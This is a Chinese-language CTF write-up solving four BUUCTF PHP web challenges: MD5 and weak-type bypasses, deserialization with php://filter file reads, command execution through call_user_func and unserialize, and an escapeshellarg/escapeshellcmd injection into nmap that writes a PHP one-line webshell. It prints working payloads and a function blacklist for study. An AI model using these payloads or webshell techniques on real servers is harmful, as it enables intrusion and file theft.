buuctf刷题 4(php&Rce&escapeshellarg cmd组合漏洞)

[MRCTF2020]Ez_bypass 1

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

代码审计,首先我们要满足,get传入的gg和id,md5加密后===,而gg≠id。这个见好多次了。我们传入数组的话,md5()会返回NULL,从而绕过。

构造?gg[]=1&id[]=2

 第二个条件,满足post传入的passwd不是数字,而==1234567。php弱类型比较,

所以构造 passwd=1234567a

得到flag。

[网鼎杯 2020 青龙组]AreUSerialz 1

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") { //构造op=2绕过弱类型比较
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
            // file_get_contents() 把整个文件读入一个字符串中,可用文件包含
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")  //可构造op=2 绕过强类型比较
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // 判断有无特殊字符
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

php反序列化题,代码审计得:

1. str为我们要传入的构造的序列化参数;

2. 首先进去process()函数,要读取flag文件的话,需要进入read()函数,所以要满足

 else if($this->op == "2") { //构造op=2绕过弱类型比较
            $res = $this->read();
            $this->output($res);
}

3. 要读取的文件为flag.php .所以

this->filename=php://filter/read=convert.base64-encode/resource=flag.php

4. 在unserialize()函数执行时,会调用_destruct()析构函数。

    function __destruct() {
        if($this->op === "2")  //可构造op=2 绕过强类型比较
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

因此不能让this->op="1";即this->op==="2",强类型不成立,this->op=2刚好

但是我自己试的时候还是不行,看别人题解可知:

5.由于protect类的成员在序列化的时候是以%00作为标识符,会被下面的函数返回false而终止

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // 判断有无特殊字符
            return false;
    return true;
}

对于php>7.1的版本,并不注重public和protect  .

因此传入

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

又因为我们 file_get_contents(flag.php)时php伪协议读取的内容的base64编码。

因此对结果base64解码后得到flag。

 注:_construct()函数它在unserialize()时是不会自动调用的。相反,会调用的是_destruct()函数。

[网鼎杯 2020 朱雀组]phpweb 1

进网页发现他一直在不断刷新时间,源码里也没什么内容,抓包看一下

发现了参数func和p。func是函数,猜测是func函数执行p

 更改参数,试着看一下index.php源码。

传入?func=file_get_contents()&p=index.php发现

call_user_func() expects parameter 1 to be a valid callback, function 'file_get_contents()' not found or invalid function name

证实了这一点,去掉()

?func=file_get_contents&p=index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

发现是一道反序列化来执行函数的题目。

题目黑名单筛掉了好多危险函数,并且对传入的func进行了全转换为小写字母。但是Test类里也会调用函数gettime()。因此可以通过反序列化unseralize,来执行_construct()函数,进而执行我们的命令执行函数gettime().

因此我们构造:system("ls")

传入

?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

 执行成功。

构造:system("cat $(find / -name flag*)") 打印所有文件名匹配flag*的文件

再传入

?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

得到flag。

[BUUCTF 2018]Online Tool 1

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

看不懂,出现了好多陌生函数。查看别人wp知:

本题考查的一个点是escapeshellarg()和escapeshellcmd()函数,他们一起用的时候导致一个类似于sql注入闭合单引号的一个漏洞。

PHP escapeshellarg()+escapeshellcmd() 之殇

谈谈escapeshellarg参数绕过和注入的问题

函数介绍 (从别人wp转的c

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入:
&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

用那篇文章的例子解释一下:
传入参数是:172.17.0.2' -v -d a=1
首先经过escapeshellarg处理后变成了' 172.17.0.2 '  \'  ' -v -d a=1',
即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
再经过escapeshellcmd处理后变成' 172.17.0.2 ' \\ ' ' -v -d a=1\',
这是因为escapeshellcmd对 \ 以及最后那个不配对儿的引号进行了转义
最后执行的命令是curl ' 172.17.0.2 ' \\  ' ' -v -d a=1\',
由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。
所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1’。

代码审计:

1. REMOTE_ADDR和HTTP_X_FORWARDED_FOR,是服务器为了获取ip

2. get方式传入host,经过escapeshellarg()和escapeshellcmd()函数后,会进入system()里执行。

        因此我们要构造传入的参数,经escapeshellarg()和escapeshellcmd()函数后,变成要执行的指令,最后执行。

3. namp命令中有一个参数-oG 可以将命令和结果写到文件中:

因此构造payload:

        ?host=' <?php eval($_POST["shell"]); ?> -oG shell.php '

注意:

一. 两边加单引号,不加的话,两个函数执行后会变成

'<?php eval($_POST["shell"]); ?> -oG shell.php'

这是个字符串,并不是命令

二. 引号与代码命令之间加空格

如果不加,当两个函数执行并echo出来后就会变成:

\<?php eval($_POST["shell"]); ?> -oG shell.php\\

文件名称是shell.php\\ 而不是shell.php

三. 一句话木马中参数shell不能用单引号闭合,要用双引号

因为 escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

不一定只能用一句话木马,也可以直接用反引号` `来执行命令

?host=' <?= `cat /flag`; ?> -oG shell.php '

<?= 等价于 <?php echo

然后访问生成的dir里的shell.php文件,得到flag。

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值